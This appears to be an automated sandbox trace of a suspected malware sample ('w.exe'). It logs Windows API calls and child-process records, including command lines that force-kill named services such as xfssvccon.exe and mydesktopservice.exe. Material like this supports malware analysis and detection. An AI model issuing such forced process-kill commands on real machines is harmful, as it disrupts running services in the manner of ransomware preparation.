	[0038.330] GetConsoleTitleW (in: lpConsoleTitle=0x42f484, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.330] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0038.330] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0038.331] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0038.331] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0038.331] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0038.331] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0038.331] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0038.331] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0038.331] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0038.331] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0038.331] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0038.331] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0038.331] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0038.331] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0038.331] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0038.331] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0038.331] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0038.331] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0038.331] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0038.331] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0038.331] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0038.331] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0038.331] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0038.331] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0038.331] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0038.331] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0038.331] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0038.331] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0038.331] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0038.331] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0038.331] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0038.331] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0038.331] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0038.331] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0038.332] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0038.332] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0038.332] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0038.332] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0038.332] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0038.332] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0038.332] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0038.332] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0038.332] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0038.332] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0038.332] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0038.332] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0038.332] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0038.332] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0038.332] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0038.332] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0038.332] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0038.332] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0038.332] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0038.332] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0038.332] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0038.332] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0038.332] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0038.332] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0038.332] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0038.333] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0038.333] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0038.333] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0038.333] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0038.333] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0038.333] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0038.333] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0038.333] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0038.333] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0038.333] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0038.333] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0038.333] GetProcessHeap () returned 0x770000
	[0038.333] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x210) returned 0x783210
	[0038.333] GetProcessHeap () returned 0x770000
	[0038.333] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x48) returned 0x783428
	[0038.333] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0038.333] GetProcessHeap () returned 0x770000
	[0038.334] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x418) returned 0x7707f0
	[0038.334] SetErrorMode (uMode=0x0) returned 0x8003
	[0038.334] SetErrorMode (uMode=0x1) returned 0x0
	[0038.334] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7707f8, lpFilePart=0x42efa4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x42efa4*="Desktop") returned 0x25
	[0038.334] SetErrorMode (uMode=0x8003) returned 0x1
	[0038.334] GetProcessHeap () returned 0x770000
	[0038.334] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x7707f0, Size=0x66) returned 0x7707f0
	[0038.334] GetProcessHeap () returned 0x770000
	[0038.334] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x7707f0) returned 0x66
	[0038.334] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.334] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0038.334] GetProcessHeap () returned 0x770000
	[0038.334] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x120) returned 0x783478
	[0038.334] GetProcessHeap () returned 0x770000
	[0038.334] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x238) returned 0x770860
	[0038.336] GetProcessHeap () returned 0x770000
	[0038.336] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x770860, Size=0x122) returned 0x770860
	[0038.336] GetProcessHeap () returned 0x770000
	[0038.336] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x770860) returned 0x122
	[0038.336] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.336] GetProcessHeap () returned 0x770000
	[0038.336] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xe0) returned 0x770990
	[0038.336] GetProcessHeap () returned 0x770000
	[0038.336] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x770990, Size=0x76) returned 0x770990
	[0038.336] GetProcessHeap () returned 0x770000
	[0038.336] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x770990) returned 0x76
	[0038.336] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x42ed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42ed20) returned 0xffffffff
	[0038.336] GetLastError () returned 0x2
	[0038.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x42ed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42ed20) returned 0xffffffff
	[0038.337] GetLastError () returned 0x2
	[0038.337] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.337] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x42ed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42ed20) returned 0x770a10
	[0038.337] GetProcessHeap () returned 0x770000
	[0038.337] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x0, Size=0x14) returned 0x7835a0
	[0038.337] FindClose (in: hFindFile=0x770a10 | out: hFindFile=0x770a10) returned 1
	[0038.337] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x42ed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42ed20) returned 0xffffffff
	[0038.337] GetLastError () returned 0x2
	[0038.337] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x42ed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42ed20) returned 0x770a10
	[0038.337] GetProcessHeap () returned 0x770000
	[0038.337] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x7835a0, Size=0x4) returned 0x7835a0
	[0038.337] FindClose (in: hFindFile=0x770a10 | out: hFindFile=0x770a10) returned 1
	[0038.337] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0038.337] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0038.337] GetConsoleTitleW (in: lpConsoleTitle=0x42f218, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.337] InitializeProcThreadAttributeList (in: lpAttributeList=0x42f0a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x42f168 | out: lpAttributeList=0x42f0a0, lpSize=0x42f168) returned 1
	[0038.337] UpdateProcThreadAttribute (in: lpAttributeList=0x42f0a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x42f160, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x42f0a0, lpPreviousValue=0x0) returned 1
	[0038.338] GetStartupInfoW (in: lpStartupInfo=0x42f05c | out: lpStartupInfo=0x42f05c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc0, hStdError=0xc4)) 
	[0038.338] GetProcessHeap () returned 0x770000
	[0038.338] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x18) returned 0x770a10
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0038.338] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0038.339] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0038.339] GetProcessHeap () returned 0x770000
	[0038.339] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x770a10 | out: hHeap=0x770000) returned 1
	[0038.339] GetProcessHeap () returned 0x770000
	[0038.339] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xa) returned 0x77fee8
	[0038.339] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0038.340] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im xfssvccon.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x42f0fc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im xfssvccon.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x42f148 | out: lpCommandLine="taskkill  /f /im xfssvccon.exe ", lpProcessInformation=0x42f148*(hProcess=0x78, hThread=0x74, dwProcessId=0x210, dwThreadId=0x314)) returned 1
	[0038.345] CloseHandle (hObject=0x74) returned 1
	[0038.345] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0038.345] GetProcessHeap () returned 0x770000
	[0038.345] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x785ed8 | out: hHeap=0x770000) returned 1
	[0038.345] GetEnvironmentStringsW () returned 0x794a50*
	[0038.345] GetProcessHeap () returned 0x770000
	[0038.345] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xb36) returned 0x784098
	[0038.345] FreeEnvironmentStringsW (penv=0x794a50) returned 1
	[0038.345] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0038.632] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x42f03c | out: lpExitCode=0x42f03c*=0x80) returned 1
	[0038.632] CloseHandle (hObject=0x78) returned 1
	[0038.632] _vsnwprintf (in: _Buffer=0x42f184, _BufferCount=0x13, _Format="%08X", _ArgList=0x42f048 | out: _Buffer="00000080") returned 8
	[0038.632] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0038.632] GetProcessHeap () returned 0x770000
	[0038.632] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x784098 | out: hHeap=0x770000) returned 1
	[0038.632] GetEnvironmentStringsW () returned 0x784098*
	[0038.632] GetProcessHeap () returned 0x770000
	[0038.632] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xb5c) returned 0x785ed8
	[0038.632] FreeEnvironmentStringsW (penv=0x784098) returned 1
	[0038.632] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0038.632] GetProcessHeap () returned 0x770000
	[0038.632] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x785ed8 | out: hHeap=0x770000) returned 1
	[0038.632] GetEnvironmentStringsW () returned 0x784098*
	[0038.632] GetProcessHeap () returned 0x770000
	[0038.632] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xb5c) returned 0x785ed8
	[0038.632] FreeEnvironmentStringsW (penv=0x784098) returned 1
	[0038.632] GetProcessHeap () returned 0x770000
	[0038.632] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x77fee8 | out: hHeap=0x770000) returned 1
	[0038.632] DeleteProcThreadAttributeList (in: lpAttributeList=0x42f0a0 | out: lpAttributeList=0x42f0a0) 
	[0038.632] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0038.632] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0038.633] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0038.633] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a9541ac | out: lpMode=0x4a9541ac) returned 0
	[0038.633] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0038.633] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a9541b0 | out: lpMode=0x4a9541b0) returned 0
	[0038.633] GetConsoleOutputCP () returned 0x1b5
	[0038.633] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a954260 | out: lpCPInfo=0x4a954260) returned 1
	[0038.633] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0038.633] exit (_Code=128) 

Process:
	id = "27"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4aaf9000"
	os_pid = "0x210"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "26"
	os_parent_pid = "0x344"
	cmd_line = "taskkill  /f /im xfssvccon.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 167
	os_tid = 0x314


Thread:
	id = 168
	os_tid = 0x1e8


Thread:
	id = 169
	os_tid = 0x178


Thread:
	id = 170
	os_tid = 0x7e4


Thread:
	id = 171
	os_tid = 0x7a4


Process:
	id = "28"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ce19000"
	os_pid = "0x58c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mydesktopservice.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 172
	os_tid = 0x7e8

	[0038.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39f968 | out: lpSystemTimeAsFileTime=0x39f968*(dwLowDateTime=0xfcbab4c0, dwHighDateTime=0x1d52dc4)) 
	[0038.714] GetCurrentProcessId () returned 0x58c
	[0038.714] GetCurrentThreadId () returned 0x7e8
	[0038.714] GetTickCount () returned 0x19ebe
	[0038.714] QueryPerformanceCounter (in: lpPerformanceCount=0x39f960 | out: lpPerformanceCount=0x39f960*=15902394715) returned 1
	[0038.715] GetModuleHandleA (lpModuleName=0x0) returned 0x4a050000
	[0038.715] __set_app_type (_Type=0x1) 
	[0038.715] __p__fmode () returned 0x74eb31f4
	[0038.715] __p__commode () returned 0x74eb31fc
	[0038.715] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0721a6) returned 0x0
	[0038.715] __getmainargs (in: _Argc=0x4a074238, _Argv=0x4a074240, _Env=0x4a07423c, _DoWildCard=0, _StartInfo=0x4a074140 | out: _Argc=0x4a074238, _Argv=0x4a074240, _Env=0x4a07423c) returned 0
	[0038.716] GetCurrentThreadId () returned 0x7e8
	[0038.716] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7e8) returned 0x60
	[0038.716] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0038.716] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0038.716] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0038.716] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0038.716] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39f8f8 | out: phkResult=0x39f8f8*=0x0) returned 0x2
	[0038.716] VirtualQuery (in: lpAddress=0x39f92f, lpBuffer=0x39f8c8, dwLength=0x1c | out: lpBuffer=0x39f8c8*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0038.716] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39f8c8, dwLength=0x1c | out: lpBuffer=0x39f8c8*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0038.716] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39f8c8, dwLength=0x1c | out: lpBuffer=0x39f8c8*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0038.716] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39f8c8, dwLength=0x1c | out: lpBuffer=0x39f8c8*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0038.716] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39f8c8, dwLength=0x1c | out: lpBuffer=0x39f8c8*(BaseAddress=0x3a0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0038.716] GetConsoleOutputCP () returned 0x1b5
	[0038.717] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a074260 | out: lpCPInfo=0x4a074260) returned 1
	[0038.717] SetConsoleCtrlHandler (HandlerRoutine=0x4a06e72a, Add=1) returned 1
	[0038.717] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0038.717] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0038.717] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0038.717] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a0741ac | out: lpMode=0x4a0741ac) returned 0
	[0038.717] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0038.717] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a0741b0 | out: lpMode=0x4a0741b0) returned 0
	[0038.717] GetEnvironmentStringsW () returned 0x452020*
	[0038.717] GetProcessHeap () returned 0x440000
	[0038.717] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xaca) returned 0x452af8
	[0038.718] FreeEnvironmentStringsW (penv=0x452020) returned 1
	[0038.718] GetProcessHeap () returned 0x440000
	[0038.718] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4) returned 0x450c58
	[0038.718] GetEnvironmentStringsW () returned 0x452020*
	[0038.718] GetProcessHeap () returned 0x440000
	[0038.718] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xaca) returned 0x4535d0
	[0038.718] FreeEnvironmentStringsW (penv=0x452020) returned 1
